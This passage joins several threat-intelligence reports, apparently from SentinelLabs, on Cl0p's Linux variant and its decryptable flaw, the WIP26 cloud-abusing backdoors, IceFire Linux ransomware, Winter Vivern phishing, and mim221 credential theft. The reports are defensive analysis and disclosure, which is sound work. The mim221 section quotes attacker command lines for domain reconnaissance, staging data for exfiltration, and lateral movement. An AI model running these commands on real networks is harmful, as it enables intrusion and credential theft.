/home
Contains the home directory of each user.
/root
Contains the home directory of the root user.
Encryption Flaw
Windows versions of Cl0p ransomware use a Mersenne Twister PRNG (MT19937) to generate a 0x75 bytes size RC4 key for each file. This key is then validated (checks if the first five bytes are NULL) and used for file encryption. Then, by using the RSA public key, it encrypts the generated RC4 key and stores it to $filename.$clop_extension. Victims who pay the ransom demand receive a decryptor which decrypts the generated Cl0p file using the RSA private key, retrieves the generated RC4 key, and then decrypts the encrypted file.
This core functionality is missing in the Linux variant. Instead, we discovered a flawed ransomware-encryption logic which makes it possible to retrieve the original files without paying for a decryptor.
The Linux variant contains a hardcoded RC4 “master-key” which, during the execution of the main function, is copied into the global variable szKeyKey.
During the file encryption phase, the ransomware – similar to the Windows version – generates a 0x75 bytes size RC4 key, with the use of a lookup table and a PRNG byte. This generated RC4 key is used to encrypt the mappedAddress and write it back to the file.
Then by using the RC4 “master-key” the ransomware encrypts the generated RC4 key and stores it to $filename.$clop_extension. By using a symmetric algorithm (second RC4) to “encrypt” the file’s RC4 key, we were able to take advantage of this flaw and decrypt Cl0p-ELF encrypted files.
Cl0p-ELF encryption flaw
Cl0p-ELF Decryption Logic:
Retrieve RC4 “master-key”.
Read all $filename.$clop_extension.
Decrypt with RC4 using the RC4 “master-key”, the generated RC4 key.
Decrypt $filename with RC4 using the generated RC4 key.
Write decrypted to $filename.
We packed all this logic into the following Python script.
Cl0p File-Key Creation Flaw
The 0x75 bytes size PRNG RC4 key is encrypted with RC4 using the RC4 “master-key”. The encrypted RC4 output is 0x75 bytes size, though writes 0x100 bytes into the created Cl0p key $filename.$clop_extension. This results in writing memory data to the file and more specifically stack variables.
Cl0p-ELF file-key creation flaw.
This flaw provides some information regarding the file before encryption. This includes:
time of last status change, exact time of file encryption (st_ctime)
and more forensics information regarding the file before the encryption.
Size of buffer for file encryption (with check of >= 0x5f5e100 )
RC4 “master-key” size
RC4 PRNG key size
struct clopelfkeyfile {
byte encr_rc4key[117]; // encrypted RC4 PRNG key, size 0x75 bytes
stat fdstat; // stat(fd, &fdstat), size 0x58 bytes
long fdid; // file node unique id, size 0x8 bytes
int fd; // file descriptor, size 0x4 bytes
int fdmappedaddr; // file mapped address, size 0x4 bytes
off_t fdsize; // file size, size 0x8 bytes
int rc4_msize; // RC4 "master-key" size, size 0x4 bytes
long rc4_fsize; // RC4 PRNG key size, size 0x8 bytes
int fdnameaddr; // filename string address, size 0x4 bytes
int frameaddr; // frame pointer address, size 0x4 bytes
int retaddr; // function return address, size 0x4 bytes
byte fdpathaddr[3]; // part of filepath strings address, size 0x3 bytes
}
Developed Functions & Names
In ELF binaries the .symtab, Symbol Table Section, holds information needed to locate and relocate a program’s symbolic definitions and references, allowing us to retrieve function and global variable names.
Function Name
Description
do_heartbeat(void)
Main function which starts the encryption of various folders.
find(char *,char const*)
Multiple calls of this function are done by do_heartbeat; this function takes as parameter 1) the starting folder to encrypt (example, “/opt”) 2) regex of files to encrypt (example, “*.*”) and performs a recursive search from the starting folder until encrypts the “matching” regex files.
CreateRadMe(char *)
This function takes as parameter the folder to create the ransom note.
EncrFile(char *)
Encrypts given filepath.
existsFile(char *)
Checks if File exists, or if the process has the permissions to open.
_rc4Full(void const*,ushort,void *,ulong)
Wrapper function to _rc4Init and _rc4, which is used to encrypt a buffer with a given key.
Createkey(char *,uchar *)
Creates and writes into “%s.C_I_0P” the encrypted buffer.
Global Variable
Description
szKeyKey
Global variable of 0x64 bytes size, initialized during main function, containing RC4 “master-key” which encrypts the “randomly” generated 0x75 bytes size RC4 key.
Differences to Windows Variant
Rather than simply port the Windows version of Cl0p directly, the authors have chosen to build bespoke Linux payloads. We understand this to be the primary reason for the lack of feature parity between the new Linux version and the far more established Windows variant.
SentinelLabs expects future versions of the Linux variant to start eliminating those differences and for each updated functionality to be applied in both variants simultaneously.
Some of the differences worth highlighting are detailed below:
Differences
Description
Files/Folders exclusions
The Windows variant contains a hashing algorithm which excludes specific folders and files from encryption. This functionality was not observed in the Linux variant.
Extension exclusions
The Windows variant contains a hardcoded list of extensions to exclude from encryption. This functionality was not observed in the Linux variant.
Different methods of Reading/Writing depending on file size.
The Windows variant, depending on the size of the file, will choose different methods of reading a file and writing the encrypted buffer. Small files are ignored, medium-sized files will make use of ReadFile/WriteFile, large files will use CreateFileMappingW/MapViewOfFile/UnmapViewOfFile. The Linux variant encrypts all the files using mmap64/munmap. Both variants only encrypt the first 0x5f5e100 bytes of large files.
Ransom Note Decryption
The Windows variant stores the encrypted ransom note as a resource and decrypts it with a simple XOR algorithm. The Linux variant stores the note as plain text in “.rodata”.
Drive enumeration
The Windows variant initially enumerates through drives in order to “find” the starting point to recursively encrypt the folders. The Linux variant contains hardcoded “starting” folders.
RC4 default Key
Once the Windows variant generates a 0x75 size PRNG RC4 Key, it will check if the first 5 bytes are NULL; if so, it uses the default key for encryption. The Linux version does not perform this validation and does not contain a default RC4 key in case the first 5 bytes of the PRNG RC4 are NULL.
Command Line Parameters
The Windows variant can be executed in three ways: 1) without parameters encrypting all local and network drives, 2) with “runrun” parameter encrypting only network drives, 3) with a file as parameter which contains the folders to be encrypted (observed temp.ocx/temp.dat). The Linux variant does not accept command line parameters and recursively encrypts the specified hardcoded folders.
RC4 Key Encryption
The Windows variant encrypts the generated RC4 key responsible for the file encryption using the asymmetric algorithm RSA and a public key. In the Linux variant, the generated RC4 key is encrypted with a RC4 “master-key” (flawed logic).
Ransom Notes
The Linux variant of Clop ransomware drops a ransom note on victim machines with a .txt format.
ELF sample ransom note, “README_C_I_0P.TXT”.
This differs somewhat from the Windows .rtf ransom note, although both use the email addresses unlock@support-mult[.]com and unlock@rsv-box[.]com as ways for victims to contact the attackers.
Window samples ransom note, “!_READ_ME.RTF”.
Conclusion
Over the last twelve months or so we have continued to observe the increased targeting of multiple platforms by individual ransomware operators or variants. The discovery of an ELF-variant of Cl0p adds to the growing list of the likes of Hive, Qilin, Snake, Smaug, Qyick and numerous others.
We know that Cl0p operations have shown little if no slow-down since the disruption in June 2021. While the Linux-flavored variation of Cl0p is, at this time, in its infancy, its development and the almost ubiquitous use of Linux in servers and cloud workloads suggests that defenders should expect to see more Linux-targeted ransomware campaigns going forward.
SentinelLabs continues to monitor the activity associated with Cl0p. SentinelOne Singularity protects against malicious artifacts and behaviors associated with Cl0p attacks including the ELF variant described in this post.
By Aleksandar Milenkoski, Collin Farr, and Joey Chen, in collaboration with QGroup
Executive Summary
A new threat cluster we track as WIP26 has been targeting telecommunication providers in the Middle East.
We assess it is likely that WIP26 is espionage-related.
WIP26 relies heavily on public Cloud infrastructure in an attempt to evade detection by making malicious traffic look legitimate.
WIP26 involves the use of backdoors, dubbed CMD365 and CMDEmber, which abuse Microsoft 365 Mail and Google Firebase services for C2 purposes.
WIP26 also involves the use of Microsoft Azure and Dropbox instances as data exfiltration and malware hosting sites.
Overview
In collaboration with QGroup GmbH, SentinelLabs is monitoring a threat activity we track as WIP26. The threat actor behind WIP26 has been targeting telecommunication providers in the Middle East. WIP26 is characterized by the abuse of public Cloud infrastructure – Microsoft 365 Mail, Microsoft Azure, Google Firebase, and Dropbox – for malware delivery, data exfiltration, and C2 purposes.
The WIP26 activity is initiated by precision targeting of employees through WhatsApp messages that contain Dropbox links to a malware loader. Tricking employees into downloading and executing the loader ultimately leads to the deployment of backdoors that leverage Microsoft 365 Mail and Google Firebase instances as C2 servers. We refer to these backdoors as CMD365 and CMDEmber, respectively. The main functionality of CMD365 and CMDEmber is to execute attacker-provided system commands using the Windows command interpreter.
The use of public Cloud infrastructure for C2 purposes is an attempt to make malicious C2 network traffic look legitimate and therefore make detection harder for defenders. The CMD365 and CMDEmber samples we observed masquerade as utility software, such as a PDF editor or browser, and as software that conducts update operations. The masquerading attempt involves the use of filenames, application icons, and digital signatures that indicate existing software vendors.
This report provides details on the WIP26 threat activity and further context around the use of CMD365 and CMDEmber.
Intrusion Vector and Activities
The initial intrusion vector succeeded through sending targeted WhatsApp messages to employees. The messages contained Dropbox links to archive files that supposedly contain only documents on poverty issues in the Middle East. The archives stored such documents, but also a malware loader (PDFelement.exe) masquerading as the PDFelement application.
The PDFelement.exe malware loader has an invalid digital signature that indicates the vendor of the PDFelement application – Wondershare.
The digital signature of PDFelement.exe
The loader deploys the CMD365 backdoor, a .NET executable named Update.exe, and creates a scheduled task named MicrosoftUpdatesA that executes CMD365 at system startup for persistence.
The MicrosoftUpdatesA scheduled task
The main functionality of CMD365 is to execute commands from a C2 hosted on a Microsoft 365 Mail instance. This capability was used to conduct a variety of activities, such as reconnaissance, privilege escalation, staging of additional malware, and data exfiltration.
Among the malware deployed on compromised machines, we observed another CMD365 sample in addition to the Update.exe – EdgeUpdater.exe. Further, we observed CMDEmber samples, which use Google Firebase Realtime Database instances as C2 servers – .NET executables named Update.exe and Launcher.exe.
The exfiltrated data included users’ private browser data and reconnaissance information on particular high-value hosts in the victim’s network. This is a typical precursor to the subsequent targeting of these hosts. The data exfiltration was orchestrated through the execution of PowerShell commands to transport key data to Microsoft Azure instances. The threat actor behind WIP26 used the Windows Azure website socialmsdnmicrosoft.azurewebsites[.]net as a malware hosting site and akam.azurewebsites[.]net as a data exfiltration site.
In addition to exfiltration, the threat actor utilized the open source tool Chisel masquerading as the Media Player Classic application with an invalid certificate signed as “Rare Ideas LLC”. This was used to create a TCP tunnel over HTTP from the IP address 193.29.56[.]122, an IP that has previously been associated with Cobalt Strike activity. This was the first and only direct access attempt that was not from Microsoft 365 Mail or Google Firebase instances.
The figure below gives an overview of the Cloud infrastructure the threat actor behind WIP26 used for initial infection and as C2 servers, and exfiltration and malware hosting sites. We informed Google, Microsoft, and Dropbox about the abuse of their infrastructure.
WIP26: Use of Cloud infrastructure
CMD365: Abuse Of Microsoft 365 Mail
CMD365 interacts using the Microsoft Graph API with a Microsoft 365 Mail inbox that has the role of a C2 server. An open-source implementation of Graph API usage for C2 communication is the Azure Outlook C2 tool.
The CMD365 sample Update.exe is a .NET application that masquerades as the legitimate Postman application, signed with an invalid signature.
The digital signature of Update.exe
The core feature of CMD365 is to execute attacker-provided system commands as standard input to an instance of the Windows command interpreter.
CMD365 executes a command
CMD365 issues an HTTP POST request to login.microsoftonline[.]com to authenticate itself to a Microsoft 365 Mail inbox using valid credentials that are hardcoded in the malware. The malware then receives an OAuth Bearer access token that it uses in the further interaction with Microsoft 365.
CMD365 authenticates at Microsoft 365 Mail
CMD365 then creates an inbox folder with a name that is unique for each infected machine. The name is a combination of the physical address of the main active network interface on the machine, the machine’s computer name, and the name of the user in whose context the malware executes. CMD365 collects this information when it starts executing.
CMD365 builds a machine-specific inbox folder nameCMD365 creates an inbox folder
CMD365 polls the inbox folder for C2 commands by querying for emails whose subjects start with the keyword Input. These emails contain C2 input intended for processing by CMD365 on infected machines.
CMD365 polls for C2 commands
The C2 server and CMD365 exchange encrypted and Base64-encoded data. For data encryption and decryption, the malware uses the AES key Xc4u7x!A%D*G-KaPdSr56tp2s5v8y/B? (in string format) and an empty initialization vector (IV).
CMD365 encrypts data
CMDEmber: Abuse Of Google Firebase
CMDEmber interacts with a Google Firebase Realtime Database instance that has the role of a C2 server. The CMDEmber sample Launcher.exe is a .NET application that masquerades as the Opera browser and has an invalid signature that indicates the Opera Norway software vendor. CMDEmber uses the open-source Firebase library by Step Up Labs for communicating with the Google Firebase instances.
The digital signature of Launcher.exe
As with CMD365, the core feature of CMDEmber is to execute system commands using the Windows command interpreter.
When executed, CMDEmber connects to the Firebase instance https://gmall-52fb5-default-rtdb.asia-southeast1.firebasedatabase[.]app/ or https://go0gle-service-default-rtdb.firebaseio[.]com, and then exfiltrates information about the infected machine. The exfiltrated data includes some of the information that the CMDEmber collects – the computer name, the bitness, name, and ID of the CMDEmber process, the name of the user in whose context CMDEmber executes, and the IPv4 and physical addresses of all operational network interfaces on the infected machine.
CMDEmber uses the MD5 hash of the Triple DES key Mgirdhgi256HIKnuefsdf!dfgsdfkjsrht (in string format) to encrypt and decrypt the Base64 data exchanged with the C2.
CMDEmber sends and receives data from the C2 server by issuing HTTP POST and GET requests, respectively. The URL paths of these requests contain a unique identifier of each infected machine, which is a combination of the ID and bitness of the CMDEmber process, and the physical addresses of the operational network interfaces at the victim machine.
CMDEmber exfiltrates machine information
After exfiltrating information about the infected machine, CMDEmber polls the Firebase instance for C2 commands by issuing HTTP GET requests that include the identifier of the infected machine.
CMDEmber polls for C2 commands
The data that the C2 server and CMDEmber exchange is in JSON format. The Firebase C2 server stores exchanged data with all infected machines in a JSON-formatted file such that the nodes are the unique identifiers of the machines:
The who field indicates the communication direction. The value server marks data sent from the C2 server to an infected machine, whereas the value client marks data sent in the opposite direction.
The field data stores the actual data: attacker-provided commands, command outputs, or the information that CMDEmber exfiltrates from infected machines.
Exfiltrated machine information (obfuscated form)Command sent to an infected machine (deobfuscated form)Command output from the infected machine (deobfuscated form)
Attribution Analysis
We assess it is likely this activity is espionage-related. We track this activity as WIP26 – the Work-In-Progress (WIPxx) designation is used for unattributed activity clusters.
The initial intrusion vector we observed involved precision targeting: The threat actor sent WhatsApp messages to targets with download links to backdoor malware. Further, the targeting of telecommunication providers in the Middle East suggests the motive behind this activity is espionage-related. Communication providers are frequent targets of espionage activity due to the sensitive data they hold. Finally, evidence suggests that once they established a foothold, the threat actor targeted users’ private information and specific networked hosts of high value.
The threat actor behind WIP26 activity appears to have made some OPSEC errors. For example, the JSON file where the Google Firebase C2 server stores data exchanged with machines infected by CMDEmber is publicly accessible at the time of writing, providing further insights into the WIP26 activity.
The use of public Cloud infrastructure by APT groups is not unheard of. These threat actors continue to innovate in order to stay stealthy. This includes leveraging public Cloud infrastructure for C2 purposes to blend in and make the detection of C2 traffic harder for defenders.
For example, the North Korean APT 37 (InkySquid) has used the Microsoft Graph API for C2 operations. Further, similar to CMD365, the SIESTAGRAPH backdoor, used in the REF2924 intrusion set targeting the Foreign Affairs Office of an ASEAN member, leverages the Microsoft Graph API to access Microsoft 365 Mail for C2 communication. Also, the DoNot threat group, which is known for targeting Kashmiri non-profit organizations and Pakistani government officials, has abused Google Firebase Cloud Messaging to stage malware. Finally, threat activity tied to APT28 (Fancy Bear) has leveraged Microsoft OneDrive services for C2 purposes.
Conclusions
The WIP26 activity is a relevant example of threat actors continuously innovating their TTPs in an attempt to stay stealthy and circumvent defenses. The use of public Cloud infrastructure for malware hosting, data exfiltration, and C2 purposes aims at making malicious traffic look legitimate. This gives attackers the opportunity to conduct their activities unnoticed. We hope that this report helps to emphasize this tactic in the continuous effort to identify threat groups engaged in targeting critical industries.
SentinelLabs continues to track the WIP26 threat cluster to provide further insight into its evolution, future activity, and attribution.
In recent weeks SentinelLabs observed novel Linux versions of IceFire ransomware being deployed within the enterprise network intrusions of several media and entertainment sector organizations worldwide.
Currently observations indicate the attackers deployed the ransomware by exploiting CVE-2022-47986, a deserialization vulnerability in IBM Aspera Faspex file sharing software.
The operators of the IceFire malware, who previously focused only on targeting Windows, have now expanded their focus to include Linux. This strategic shift is a significant move that aligns them with other ransomware groups who also target Linux systems.
Background
SentinelLabs recently observed a novel Linux version of the IceFire ransomware being deployed in mid February against enterprise networks. The iFire file extension is associated with known reports of IceFire, a ransomware family noted by MalwareHunterTeam in March 2022.
Another new ransomware just appeared: IceFire.
Note: iFire-readme.txt
Extension: .iFire
Already seen victim companies from multiple countries, including multiple victims from 1-1 countries in the past < 40 hours, so they started “hard” it seems…@demonslay335pic.twitter.com/QfguAicNYO
Prior to this report, IceFire had only shown a Windows-centricfocus. The attackers tactics are consistent with those of the ‘big-game hunting’ (BGH) ransomware families, which involve double extortion, targeting large enterprises, using numerous persistence mechanisms, and evading analysis by deleting log files. Previous reports indicate that IceFire targeted technology companies; SentinelLabs observed these recent attacks against organizations in the media and entertainment sector. IceFire has impacted victims in Turkey, Iran, Pakistan, and the United Arab Emirates, which are typically not a focus for organized ransomware actors.
Technical Analysis
The IceFire Linux version (SHA-1: b676c38d5c309b64ab98c2cd82044891134a9973) is a 2.18 MB, 64-bit ELF binary compiled with gcc for AMD64 architecture. We tested the sample on Intel-based distributions of Ubuntu and Debian; IceFire ran successfully on both test systems.
In observed intrusions, the Linux version was deployed against CentOS hosts running a vulnerable version of IBM Aspera Faspex file server software. The system downloaded two payloads using wget and saves them to /opt/aspera/faspex:
On execution, files are encrypted and renamed with the “.ifire” extension appended to the file name. IceFire then deletes itself by removing the binary, which is evident in the picture below.
Files on the user desktop of a Debian system before and after running IceFire
The “.iFire” extension is appended to the file name. IceFire skipped the files with “.sh” and “.cfg” extensions.
A file with the CPP extension that was encrypted by IceFire
Excluded Files & Folders
The sample contains data segment references to a list of file extensions. These extensions are excluded from encryption, as they pertain to executables, application or system functionality. In the case of .txt and .pid, encrypting these files potentially impedes the ransomware functionality.
IceFire ransomware doesn’t encrypt all files on Linux: it avoids encrypting certain paths, so that critical parts of the system are not encrypted and remain operational. In one observed infection, the /srv directory was encrypted, so these exclusions can be selectively overridden.
Folder
Description
/boot
Data used at startup
/dev
Device files, drivers
/etc
System configuration files
/lib
Shared libraries used by applications or system for dynamically-linked functionality
/proc
Virtual filesystem used by Linux to store runtime system information like PIDs, mounted drives, system configuration, etc.
/srv
Web server directories
/sys
Interface to the kernel; similar to /proc
/usr
User-level binaries and static data
/var
Dynamic data, e.g. caches, databases
/run
System information, including PID files; cleared on each reboot
During our analysis, the user profile directory at /home/[user_name]/ saw the most encryption activity. IceFire targets user and shared directories (e.g., /mnt, /media, /share) for encryption; these are unprotected parts of the file system that do not require elevated privileges to write or modify.
Interestingly, several file sharing clients downloaded benign encrypted files after IceFire had encrypted the file server’s shared folders. Despite the attack on the server, clients were still able to download files from the encrypted server. This implies the IceFire developer made thoughtful choices in the excluded paths and file extensions.
The following regular expression can be used to detect IceFire payload URLs. Consider wildcarding the Digital Ocean IP address in case the actors pivot to a new delivery IP or domain.
Open-source intelligence platforms revealed a history of Aspera Faspex activity on IP address 159.65.217.216, including:
Other payload URLs with “aspera” in the secondary hostname section of the URI
Session cookie name: _aspera_faspex_session
Service fingerprinting indexed a vulnerable version of Aspera Faspex software
Notable Findings
As of this writing, the IceFire binary was detected by 0/61 VirusTotal engines. Notably, this sample contains many statically linked functions from the legitimate OpenSSL library, contributing to the relatively large file size.
The binary contains the following hardcoded RSA public key:
In a cryptographic logging function, the binary contains an embedded path referencing the Desktop for a user named “Jhone.” The .cnf extension potentially refers to a configuration file. The relic was near the end of the OpenSSL functionality; it is possible that the OpenSSL package contained this artifact and is not necessarily the ransomware developer.
Function for writing a log file to user Jhone’s Desktop
Ransom Notes
IceFire drops the ransom note from an embedded resource in the binary and writes it to each directory targeted for file encryption. The ransom note contains a hardcoded username and password that are required to log into the ransom payment portal hosted on a Tor hidden service at 7kstc545azxeahkduxmefgwqkrrhq3mzohkzqvrv7aekob7z3iwkqvyd[.]onion.
Linux version of IceFire ransom note
The Linux version’s Onion hostname matches the hostname that ransomware trackers tie to IceFire, including attacks targeting Windows.
This evolution for IceFire fortifies that ransomware targeting Linux continues to grow in popularity through 2023. While the groundwork was laid in 2021, the Linux ransomware trend accelerated in 2022 when illustrious groups added Linux encryptors to their arsenal, including the likes of BlackBasta, Hive, Qilin, Vice Society aka HelloKitty, and others.
In comparison to Windows, Linux is more difficult to deploy ransomware against–particularly at scale. Many Linux systems are servers: typical infection vectors like phishing or drive-by download are less effective. To overcome this, actors turn to exploiting application vulnerabilities, as the IceFire operator demonstrated by deploying payloads through an IBM Aspera vulnerability.
SentinelLabs has conducted an investigation into Winter Vivern Advanced Persistent Threat (APT) activity, leveraging observations made by The Polish CBZC and Ukraine CERT. Our research has uncovered a previously unknown set of espionage campaigns and targeting activities conducted by this threat actor.
Our analysis indicates that Winter Vivern’s activities are closely aligned with global objectives that support the interests of Belarus and Russia’s governments. The APT has targeted a variety of government organizations, and in a rare instance, a private telecommunication organization.
The threat actor employs various tactics, such as phishing websites, credential phishing, and deployment of malicious documents, that are tailored to the targeted organization’s specific needs. This results in the deployment of custom loaders and malicious documents, which enable unauthorized access to sensitive systems and information.
Background on Winter Vivern
The Winter Vivern Advanced Persistent Threat (APT) is a noteworthy yet relatively underreported group that operates with pro-Russian objectives. DomainTools initially publicized the group in early 2021, naming it based on an initial command-and-control beacon URL string “wintervivern,” which is no longer in use. Subsequently, Lab52 shared additional analysis several months later, identifying new activity associated with Winter Vivern.
The group has avoided public disclosure since then, until recent attacks targeting Ukraine. A part of a Winter Vivern campaign was reported in recent weeks by the Polish CBZC, and then the Ukraine CERT as UAC-0114. In this activity, CERT-UA and the CBZC collaborated on the release of private technical details which assisted in our research to identify a wider set of activity on the threat actor, in addition to new victims and previously unknown specific technical details. Overall, we find that the Winter Vivern APT is a resource-limited but highly creative group that shows restraint in the scope of their attacks. Our analysis indicates that Winter Vivern activity aligns closely with global objectives that support the interests of Belarus and Russia’s governments.
Targeted Organizations
Our analysis of Winter Vivern’s past activity indicates that the APT has targeted various government organizations since 2021, including those in Lithuania, India, Vatican, and Slovakia.
Recently linked campaigns reveal that Winter Vivern has targeted Polish government agencies, the Ukraine Ministry of Foreign Affairs, the Italy Ministry of Foreign Affairs, and individuals within the Indian government. Of particular interest is the APT’s targeting of private businesses, including telecommunications organizations that support Ukraine in the ongoing war.
The threat actor’s targeting of a range of government and private entities highlights the need for increased vigilance as their operations include a global set of targets directly and indirectly involved in the war.
Luring Methodology
Winter Vivern’s tactics have included the use of malicious documents, often crafted from authentic government documents publicly available or tailored to specific themes. More recently, the group has utilized a new lure technique that involves mimicking government domains to distribute malicious downloads.
In early 2023, Winter Vivern targeted specific government websites by creating individual pages on a single malicious domain that closely resembled those of Poland’s Central Bureau for Combating Cybercrime, the Ukraine Ministry of Foreign Affairs, and the Security Service of Ukraine.
Malicious Page Mimicking cbzc.policja.gov.pl
In mid 2022 the attackers also made an interesting, lesser observed, use of government email credential phishing webpages. One example is ocspdep[.]com, which was used in targeting users of the Indian government’s legitimate email service email.gov.in.
email.gov.in Login Page
Looking back at less recent activity, we can see in December 2022 the group likely targeted individuals associated with the Hochuzhit.com (“I Want to Live”) project, the Ukraine government website offering guidance and instructions to Russian and Belarus Armed Forces seeking to voluntarily surrender in the war. In these attacks the threat actor made use of a macro-enabled Excel spreadsheet to infect the target.
When the threat actor seeks to compromise the organization beyond the theft of legitimate credentials, Winter Vivern tends to rely on shared toolkits, and the abuse of legitimate Windows tools.
View Into The Arsenal
Winter Vivern APT falls into a category of scrappy threat actors, being quite resourceful and able to accomplish a lot with potentially limited resources while willing to be flexible and creative in their approach to problem-solving.
Recent campaigns demonstrate the group’s use of lures to initiate the infection process, utilizing batch scripts disguised as virus scanners to prompt downloads of malware from attacker-controlled servers.
Fake Virus Scan Loaders
In the case of malicious documents, such as the Hochu Zhit themed XLS files, PowerShell is called through a macro. Specifically, Invoke-Expression cmdlet is executed, beaconing to the malicious destination of ocs-romastassec[.]com/goog_comredira3cf7ed34f8.php.
One malware family of recent activity is APERETIF, named by CERT-UA based on the development PDB path inside the sample. We identified a related sample following similar use, although it is less complete in malicious design. These samples align with the theme of attacks mimicking a virus scanner, presenting users with the fake scan results similar to the script loaders. Known samples are PE32 executables, written in Visual C++, with a compilation timestamp of May 2021. We assess the threat actor shifted from these original executables to the delivery of batch files with PowerShell scripting, with overlap in their use.
APERETIF is a trojan, automating the collection of victim details, maintaining access, and beaconing outbound the actor-controlled domain marakanas[.]com. As with the previous script, the trojan makes use of whomami within PowerShell in its initial activity to beacon outbound for further instructions and/or downloads.
APERETIF also uses the signatures.php?id=1 URI through HTTPS GET requests. The group made use of compromised WordPress websites to host the malware, such as with hxxps://applesaltbeauty[.]com/wordpress/wp-includes/widgets/classwp/521734i and hxxps://natply[.]com/wordpress/wp-includes/fonts/ch/097214o serving as the download location for APERETIF during initial attack stages.
Moreover, Winter Vivern employs other intrusion techniques, such as exploiting application vulnerabilities to compromise specific targets or staging servers. An attacker-controlled server was found to host a login page for the Acunetix web application vulnerability scanner, which may serve as a supplementary resource for scanning target networks and potentially used to compromise WordPress sites for malware hosting purposes.
Acunetix Vulnerability Scanner Login
Conclusion
The Winter Vivern cyber threat actor, whose operations of espionage have been discussed in this research, has been able to successfully carry out their attacks using simple yet effective attack techniques and tools. Their ability to lure targets into the attacks, and their targeting of governments and high-value private businesses demonstrate the level of sophistication and strategic intent in their operations. The dynamic set of TTPs and their ability to evade the public eye has made them a formidable force in the cyber domain.
By Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen, in collaboration with QGroup
Executive Summary
In Q1 of 2023, SentinelLabs observed initial phases of attacks against telecommunication providers in the Middle East.
We assess that this activity represents an evolution of tooling associated with Operation Soft Cell.
While it is highly likely that the threat actor is a Chinese cyberespionage group in the nexus of Gallium and APT41, the exact grouping remains unclear.
SentinelLabs observed the use of a well-maintained, versioned credential theft capability and a new dropper mechanism indicative of an ongoing development effort by a highly-motivated threat actor with specific tasking requirements.
Overview
In collaboration with QGroup GmbH, SentinelLabs recently observed initial threat activities targeting the telecommunication sector. We assess it is highly likely that these attacks were conducted by a Chinese cyberespionage actor related to the Operation Soft Cell campaign.
The initial attack phase involves infiltrating Internet-facing Microsoft Exchange servers to deploy webshells used for command execution. Once a foothold is established, the attackers conduct a variety of reconnaissance, credential theft, lateral movement, and data exfiltration activities.
The deployment of custom credential theft malware is central to this new campaign. The malware implemented a series of Mimikatz modifications on closed-source tooling. This post details the multi-component architecture and functionality of a sample, referred to as mim221.
We assess that mim221 is a recent version of an actively maintained credential theft capability upgraded with new anti-detection features. The use of special-purpose modules that implement a range of advanced techniques shows the threat actors’ dedication to advancing its toolset towards maximum stealth. These techniques include
in-memory mapping of malicious images to evade EDR API hooks and file-based detections
surgically terminating Event Log threads instead of the host process to inhibit logging without raising suspicions
staging a credential theft capability in the LSASS process itself by abusing native Windows capabilities.
Version numbers and build timestamps indicate a maintained software project by designated developers. Closer analysis reveals an element of pragmatism in that the threat actors use modified publicly available code to achieve their goals.
In terms of attribution, the tooling suggests an immediate link to the ‘Operation Soft Cell’ campaign but remains slightly vague on the specific threat actor. That campaign has been publicly associated with Gallium and possible connections to APT41 have been suggested by the use of a common code signing certificate and tooling that shares code similarities. APT41 is also known to target telecommunication providers.
Given previous target and TTP overlaps, and an evident familiarity with victim environments, we assess with medium-confidence that Gallium is involved. However, we also recognize the possibility of closed-source tool-sharing between Chinese state-sponsored threat actors, and the possibility of a shared vendor or digital quartermaster.
Regardless of clustering specifics, this finding highlights the increased operational tempo of Chinese cyberespionage actors and their consistent investment in advancing their malware arsenal to evade detection.
Infection Vector and Initial TTPs
As initial attack indicators, we observed command execution through webshells on compromised Microsoft Exchange server deployments. The threat actors used C:\MS_DATA as their main working directory for storing malware and staging data for exfiltration. Noting that the Microsoft TroubleShootingScript toolset (TSSv2) uses C:\MS_DATA for storing log files, we suspect that its use as a working directory is an attempt to make malicious file system activities look legitimate.
After establishing an initial foothold, the threat actor conducts reconnaissance like querying user and network information using a variety of tools. For example, the attackers used dsquery and query to obtain information about Active Directory objects, including user information, and Remote Desktop user sessions. They also used the Local Group (LG) tool to enumerate all local groups and members in a domain.
"cmd" /c cd /d C:\MS_DATA\&dsquery * -limit 0 -filter
"cmd" /c cd /d C:\MS_DATA\&dsquery * -limit 0 -filter "&(objectClass=User)(objectCategory=Person)" -attr objectSID sAMAccountName displayName mail memberOf >da.back&cd
"cmd" /c cd /d c:\windows\system32\inetsrv\&query user&cd
"cmd" /c cd /d C:\MS_DATA\&lg.exe \\[IP ADDRESS] -lu >169.txt&cd
The attackers then check connectivity with both the Internet and specific local machines of interest.
"cmd" /c cd /d c:\windows\system32\inetsrv\&ping 8.8.8.8 -n 1&cd
"cmd" /c cd /d c:\windows\system32\inetsrv\&ping -n 1 [IP ADDRESS/HOSTNAME]&cd
They also retrieve networking information, like network adapters, specific machines, and network services like Remote Desktop Protocol (RDP).
"cmd" /c cd /d C:\MS_DATA\&ipconfig /all&cd
"cmd" /c cd /d c:\windows\system32\inetsrv\&net use&cd
"cmd" /c cd /d c:\windows\system32\inetsrv\&netstat.exe -nob
"cmd" /c cd /d c:\windows\system32\inetsrv\&netstat -aon |find "3389"&cd
"cmd" /c cd /d C:\MS_DATA\&netstat -aon |find "[IP ADDRESS]"&cd
The threat actor made use of the native makecab tool to compress information gathered for exfiltration.
"cmd" /c cd /d C:\MS_DATA\&makecab da.back d.zip >1.txt&cd
For lateral movement, the attackers made use of the PsExec tool and the net use command for accessing shared resources on remote machines.
"cmd" /c cd /d C:\MS_DATA\&net use \\[IP ADDRESS] [PASSWORD] /u:[DOMAIN]\[USERNAME]
A Penchant for Credential Theft
In order to steal credentials, the attackers employ custom modified versions of Mimikatz, including an executable named pc.exe.
Mimikatz publicly available code (top); strings from a Mimikatz modification (bottom)
The pc.exe executable stages the execution of three other components that ultimately result in stealing credentials from the Local Security Authority Subsystem Service (LSASS) process.
We refer to the four component chain as ‘mim221’ based on the version number that the tool displays (2.2.1).
We observed the threat actors deploying individual chunks of pc.exe in the working directory and merging these into pc.exe using the type command.
pc.exe file chunks
We noticed that the attackers ceased their activities after stealing credentials. This could indicate a multi-phase attack strategy, where the deployment of backdoors and further persistence mechanisms is carried out separately after credential theft has ensured continued access. The intrusions were detected and interrupted before the attackers could carry out further phases, such as deploying backdoors.
mim221
The architecture of mim221 consists of four components: the pc.exe Windows executable, and the AddSecurityPackage64.dll, pc.dll, and getHashFlsa64.dll DLLs contained therein.
mim221 execution overview
mim221 Component
Size
Compilation timestamp
pc.exe
502 KBs
Thu Jun 09 08:02:12 2022 (UTC)
AddSecurityPackage64.dll
119 KB
Thu Jun 09 08:01:46 2022 (UTC)
pc.dll
297 KB
Tue Jun 07 16:55:05 2022 (UTC)
getHashFlsa64.dll
216 KB
